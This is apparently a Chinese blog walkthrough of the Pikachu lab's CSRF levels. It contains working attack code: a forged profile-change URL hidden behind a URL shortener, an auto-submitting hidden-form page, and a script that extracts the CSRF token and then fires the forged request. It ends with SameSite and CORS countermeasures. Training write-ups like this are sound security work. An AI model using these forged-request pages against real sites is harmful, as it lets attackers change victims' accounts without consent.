[pikachu]CSRF通关

406 阅读5分钟

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种网络攻击方式,攻击者通过伪造用户请求,诱导受害者在不知情的情况下向受信任的网站发送恶意请求。

CSRF漏洞原理

  • 核心机制:攻击者利用受害者已登录某个网站的身份(通常通过浏览器中的Cookie或会话信息),诱导受害者访问恶意链接或页面,触发对目标网站的请求。
  • 关键点:
    • 受害者在目标网站上已有有效的会话(已登录)。
    • 攻击者伪造的请求会携带受害者的身份验证信息(如Cookie)。
    • 目标网站无法区分该请求是用户主动发起还是被攻击者伪造。

示例

  1. 用户登录了银行网站(bank.com),并保持登录状态(Cookie有效)。
  2. 攻击者诱导用户访问恶意网站(evil.com),该网站包含一个隐藏的表单或脚本,自动向bank.com发起转账请求(如bank.com/transfer?amount=1000&to=attacker)。
  3. 浏览器自动附带用户在bank.com的Cookie,服务器认为这是合法请求,执行转账。

攻击条件

  • 目标网站依赖Cookie或其他自动发送的凭证进行身份验证。
  • 用户在目标网站上已登录,且会话未过期。
  • 攻击者能够诱导用户执行特定操作(如点击链接、访问恶意页面)。
  • 目标网站未有效验证请求的来源或合法性。

与XSS的区别

  • CSRF:利用用户对网站的信任,伪造合法请求,无需窃取用户凭证。
  • XSS:通过注入恶意脚本,直接窃取用户凭证或执行恶意操作。

危害

  • 数据篡改:如修改用户账户信息、密码等。
  • 非法操作:如未经授权的转账、删除数据、发布内容等。
  • 用户隐私泄露:攻击者可能通过伪造请求获取敏感信息。
  • 信任破坏:用户对网站的信任降低。

CSRF(get)

异常问题处理

image-20250821150108316

Warning: Use of undefined constant MYSQL_ASSOC - assumed 'MYSQL_ASSOC' (this will throw an Error in a future version of PHP) in C:\phpstudy_pro\WWW\pikachu\vul\csrf\csrfget\csrf_get_edit.php on line 70
Warning: mysqli_fetch_array() expects parameter 2 to be int, string given in C:\phpstudy_pro\WWW\pikachu\vul\csrf\csrfget\csrf_get_edit.php on line 70

平台代码较旧,未适配现代PHP环境,修改下源代码

// 原代码(错误),第70行MYSQL_ASSOC
$row = mysqli_fetch_array($result, MYSQL_ASSOC);

// 修复后代码,把MYSQL_ASSOC改成MYSQLI_ASSOC
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);

实操:

  1. 使用账号allen|123456登录

    image-20250821151130851

  2. 点击修改个人信息

    image-20250821151223047

  3. 随便修改信息,然后通过bp拦截,获取修改信息的url

    image-20250821151413326

    根据截图内容,修改用户信息的时候,是不带任何认证信息的。应该是通过后台判断cookie获取用户信息,然后修改此用户的信息,如果其他用户在登录的情况下,发送这个请求,那么这个用户的信息也会被修改。

  4. 我换一个kobe的用户登录

    image-20250821151921712

  5. 通过浏览器直接复制下面的请求,直接修改住址信息

    /pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=15988767673&add=11111111&email=kobe%40pikachu.com&submit=submit
    

    image-20250821152232946

    根据上图信息已经修改成功。

  6. 短连接生成器

    由于我们的地址比较长,而且是明文的,我们可以使用短连接生成器,下面这个是我们再百度上找的,免费生成的,有效期三天。

    za8.cc/

    image-20250821152833404

    生成的短连接:

    https://za8.cc/3YbaAv
    

CSRF(post)

这个页面一样有上一节类似的问题,如何修改也请参考上一节内容。

  1. 使用allen账号登录,获取修改额post请求。

    image-20250821161038690

    上图的请求报文来看,和前一关一样,没有不可预测的认证信息,可以被利用。但是这边使用的是post请求,无法像上一关直接通过浏览器发送请求。

  2. 根据报文生成一个html,然后引诱用户访问这个页面即可;

    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <title>CSRF Attack Page</title>
    </head>
    <body>
        <form id="csrfForm" action="http://192.168.244.137/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
            <input type="hidden" name="sex" value="boy">
            <input type="hidden" name="phonenum" value="15988767673">
            <input type="hidden" name="add" value="2222222">
            <input type="hidden" name="email" value="kobe@pikachu.com">
            <input type="hidden" name="submit" value="submit">
        </form>
    
        <script>
            window.onload = function() {
                var form = document.getElementById("csrfForm");
                if (form) {
                    form.requestSubmit();
                } else {
                    console.error("Form with ID 'csrfForm' not found");
                }
            };
        </script>
    </body>
    </html>
    

    放到目录下\WWW\pikachu\vul\csrf\csrfpost.html,这样仅是方便我演示,具体实施的时候,放到部署到自己的站点上。

    image-20250821164616776

  3. 登录kobe账号后,直接访问地址

    /pikachu/vul/csrf/csrfpost.html

    image-20250821170345532

    成功修改住址信息。

CSRF Token

这个页面异常处理方式如上一节。

  1. 分析修改的请求信息

    image-20250821172118063

    这是一个get请求,并新增了一个token信息,这个token信息的来源自页面中的隐藏信息

    image-20250821172351608

    现在清楚了get请求如何构造,咱们的目标是生成一个连接,然后让别人访问,并修改他的相关信息,顺着上一节的思路,我们需要编写一个代码,自动获取token,然后自动访问get请求。

  2. 为了演示方便我们这边就是用html代码编写,部署到pikachu上,代码如下:

    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <title>CSRF Token Attack via Fetch</title>
        <style>
            pre { background: #f4f4f4; padding: 10px; border: 1px solid #ddd; max-height: 400px; overflow: auto; }
            .error { color: red; }
            .success { color: green; }
            .info { color: blue; }
        </style>
    </head>
    <body>
        <h1>CSRF Token Attack via Fetch</h1>
        <p class="info"><strong>说明:</strong>请确保已登录 Pikachu 平台(http://192.168.244.137),以便浏览器自动携带 PHPSESSID Cookie。页面加载后将自动获取 CSRF Token 并发起请求。</p>
        <p><strong>状态:</strong> <span id="status">等待请求...</span></p>
        <p><strong>获取的 CSRF Token:</strong> <span id="token" class="error">未获取</span></p>
        <p><strong>目标 GET 请求 URL:</strong> <a id="redirect_url" href="#">未生成</a></p>
        <h2>响应内容(调试用)</h2>
        <pre id="response_html"></pre>
    
        <script>
            window.onload = function() {
                const targetUrl = 'http://your-server/pikachu/vul/csrf/csrftoken/token_get_edit.php';
                const tokenSpan = document.getElementById('token');
                const redirectLink = document.getElementById('redirect_url');
                const statusSpan = document.getElementById('status');
                const responseHtml = document.getElementById('response_html');
    
                statusSpan.textContent = '正在请求目标页面...';
    
                fetch(targetUrl, {
                    method: 'GET',
                    credentials: 'include' // 携带 Cookie
                })
                .then(response => {
                    if (!response.ok) {
                        throw new Error(`HTTP 状态码: ${response.status} (${response.statusText})`);
                    }
                    return response.text();
                })
                .then(html => {
                    responseHtml.textContent = html; // 显示响应 HTML
    
                    // 提取 Token
                    const parser = new DOMParser();
                    const doc = parser.parseFromString(html, 'text/html');
                    const tokenInput = doc.querySelector('input[name="token"]');
                    let token = tokenInput ? tokenInput.value : '';
    
                    if (token && /^[a-zA-Z0-9]+$/.test(token)) {
                        tokenSpan.textContent = token;
                        tokenSpan.className = 'success';
                        statusSpan.textContent = 'Token 提取成功,正在发起请求...';
    
                        // 构造 GET 请求 URL
                        const baseUrl = 'http://your-server/pikachu/vul/csrf/csrftoken/token_get_edit.php';
                        const params = {
                            sex: 'boy',
                            phonenum: '15988767673',
                            add: '444444',
                            email: 'kobe@pikachu.com',
                            token: token,
                            submit: 'submit'
                        };
                        const queryString = new URLSearchParams(params).toString();
                        const redirectUrl = `${baseUrl}?${queryString}`;
                        redirectLink.href = redirectUrl;
                        redirectLink.textContent = redirectUrl;
    
                        // 自动重定向
                        window.location.href = redirectUrl;
                    } else {
                        tokenSpan.textContent = token ? 'Token 格式无效' : '未找到 Token,可能未登录或页面无 Token';
                        statusSpan.textContent = 'Token 提取失败';
                    }
                })
                .catch(error => {
                    tokenSpan.textContent = '获取页面失败:' + error.message;
                    statusSpan.textContent = '请求失败,可能未登录或跨域限制';
                    responseHtml.textContent = '错误:' + error.message;
                    console.error('Fetch error:', error);
                });
            };
        </script>
    </body>
    </html>
    

    执行完后页面:

    image-20250821223623228

    代码的说明:

    • 需要把your-server换成的pikachu服务地址;
    • 用户必须要登录,我们需要在登录后的pikachu/vul/csrf/csrftoken/token_get_edit.php页面中,获取到token的相关信息,并且只能通过浏览器端发起请求;
    • 通过dom的解析获取到token信息;
    • 获取到token信息后,在浏览器条跳转到编辑页面;
  3. 针对本解决方案的预防措施

    • 设置 SameSite Cookie

    SameSite Cookie 是 HTTP Cookie 的一个属性,用于控制 Cookie 在跨站(不同域名)请求中的发送行为。它通过在 Set-Cookie 响应头中添加 SameSite 属性,限制浏览器在哪些情况下会附带 Cookie 发送请求,从而增强安全性,防止 CSRF 攻击。

    SameSite 的三种取值

    添加服务器端代码:

    setcookie('PHPSESSID', $session_id, [    'samesite' => 'Strict',    'secure' => true,    'httponly' => true ]);
    

    严格 CORS 策略

    CORS(Cross-Origin Resource Sharing,跨源资源共享)是浏览器的一种安全机制,用于控制从一个域名(如 http://your-server)向另一个域名(如 http://your-server)发起的跨域请求(如 fetch 或 XMLHttpRequest)。严格 CORS 策略指的是服务器通过设置特定的 HTTP 响应头(如 Access-Control-Allow-Origin 和 Access-Control-Allow-Credentials),限制哪些域名可以访问资源,从而防止未授权的跨域请求。

    添加服务器端代码:

    header('Access-Control-Allow-Origin: http://your-server'); // 只允许同一域名
    header('Access-Control-Allow-Credentials: true'); // 允许 Cookie